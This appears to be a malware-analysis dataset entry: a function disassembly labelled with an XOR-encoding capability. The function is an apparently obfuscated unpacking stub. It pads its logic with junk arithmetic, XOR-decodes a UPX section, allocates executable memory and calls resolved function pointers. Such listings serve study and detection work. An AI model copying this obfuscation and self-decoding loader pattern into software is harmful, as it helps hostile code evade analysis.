Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xe617d5a
mov edx, 0x29471892
add edx, 0x160b8bd0
sub edx, 0x388c0cfd
popal
sub eax, 0x3155b6d1
mov eax, edx
add eax, eax
mov edx, 0
mov esi, edi
sub ebx, 1
inc ecx
sub ecx, 0xa154e554
mov eax, esi
mov ecx, 0x19730ebe
inc ecx
sub ecx, ebx
mov edi, eax
add ebx, 1
not ebx
inc edx
sub ebx, ecx
and ebx, ebx
cmp edx, 0x100a52a
jne 0xa789d3
not ecx
and ecx, ecx
inc ecx
and edx, edx
mov edx, eax
sub eax, edx
mov edx, 0xa78796
add ebx, 0xbbc3708f
not ebx
mov eax, 0xa7898a
or ecx, ebx
add ebx, 0x9d31e485
mov edi, dword [edx]
and ebx, ebx
sub esi, 0xd967bcf
and edi, 0xff
sub ebx, 0xc8c14021
add esi, 1
mov ecx, 0x1dafa740
xor dword [eax], edi
and esi, ecx
mov esi, 0x1ba5ea
inc eax
not ecx
inc ebx
inc edx
not ebx
or ebx, esi
cmp eax, entry0
jl 0xa78a2c
or ebx, ecx
add ebx, 0xdc5095fb
add ecx, ecx
dec ecx
and esi, ebx
add ecx, 0xa647fa38
or edx, ebx
or esi, ebx
add ebx, edx
mov edi, 0xa7898e
mov edx, ebx
dec ebx
mov edi, dword [edi]
sub ebx, ecx
mov esi, 0xf78a895e
mov edi, dword [edi]
add ebx, ebx
or edx, edx
sub esp, 4
mov dword [esp], edi
sub ebx, 0x6141daf0
mov ecx, 0x640a6204
not ebx
mov edi, 0xa7898a
sub ebx, 0xd92fc15e
and edx, esi
mov ecx, esi
mov edi, dword [edi]
add esi, 0x3cde61bc
or ebx, esi
sub edx, 0x697c833f
mov edi, dword [edi]
sub ebx, edx
add edx, ebx
and edx, ecx
push 0xa78992
or ecx, esi
inc esi
call edi
add edx, ecx
not ebx
pop edi
and ebx, ebx
sub esi, 0xd8428ba
push 0xa7899f
and ebx, ebx
sub esi, ecx
sub ebx, 0x354f277b
push eax
inc esi
mov ecx, 0xd5e288a8
call edi
and ebx, ecx
sub ecx, edx
push 0x40
or ecx, esi
and edx, ecx
and ecx, ebx
push 0x3000
and ecx, ebx
dec edx
or ecx, ecx
push 0x2000046a
dec ebx
add ebx, edx
sub ebx, edx
sub esp, 4
mov dword [esp], 0
or ebx, ebx
not edx
dec esi
call eax
add ebx, 0x7423b503
and ebx, edx
or ebx, ecx
add eax, 0x20000400
inc ecx
and edx, ecx
mov edi, 0x99da5742
not ebx
not ebx
mov dword [eax], edi
mov ebx, 0xe07a5398
add ecx, esi
add edx, 0xc8bb3d4b
mov edi, dword [eax]
dec esi
mov ebx, 0x892ce9f1
and ecx, ecx
cmp edi, 0x99da5742
je 0xa78b7c
mov ebx, 0
mov byte [ebx], cl
add esi, esi
add ecx, 0x3e93e829
mov ecx, edx
add esi, esi
sub eax, 0xf7f5cd41
and eax, eax
mov esi, section.UPX1
sub edx, 0x3b44f93d
add eax, 0xfa56b0ae
not edx
mov ebx, 0xa78795
dec edx
add edx, eax
mov edi, 0
add edx, edx
add edx, eax
mov eax, 0xb840581d
mov ecx, 0xa78796
inc eax
mov edx, eax
lea ecx, [ecx + edi]
add edx, 1
not eax
mov ecx, dword [ecx]
not edx
and eax, eax
and ecx, 0xff
and eax, eax
add eax, edx
add edi, 1
sub eax, 0xb5ac72db
and edx, eax
cmp edi, 0x1f4
jne 0xa78bf7
mov edi, 0
sub eax, edx
add edx, 0x14a0a19
dec eax
add eax, edx
or edx, eax
xor dword [esi], ecx
dec eax
or edx, edx
add esi, 2
not eax
not edx
cmp esi, ebx
jl 0xa78bb9
and eax, eax
mov eax, 0x51d418e0
inc edx
and edx, eax
not edx
mov ecx, section.UPX1
not esi
sub esi, edi
and esi, esi
mov ebx, section.UPX1
dec esi
inc esi
mov eax, 0xa78795
add edi, edi
add esi, esi
add edi, esi
mov edx, 0
or esi, esi
and edi, edi
dec edi
mov dl, byte [ebx]
or esi, edi
mov esi, 0xdd741fe3
sub esi, 0x9740bef5
mov byte [ecx], dl
inc edi
or esi, edi
inc ecx
inc esi
add edi, 0x50d928c3
sub esi, edi
add ebx, 2
mov edi, 0xc1602cb6
mov edi, 0xc2c0381c
cmp ebx, eax
jle 0xa78c4e
add edi, esi
sub edi, esi
add esi, 1
and eax, edx
not eax
sub esp, 4
mov dword [esp], 0x8dc6a0
sub eax, edx
mov eax, edx
ret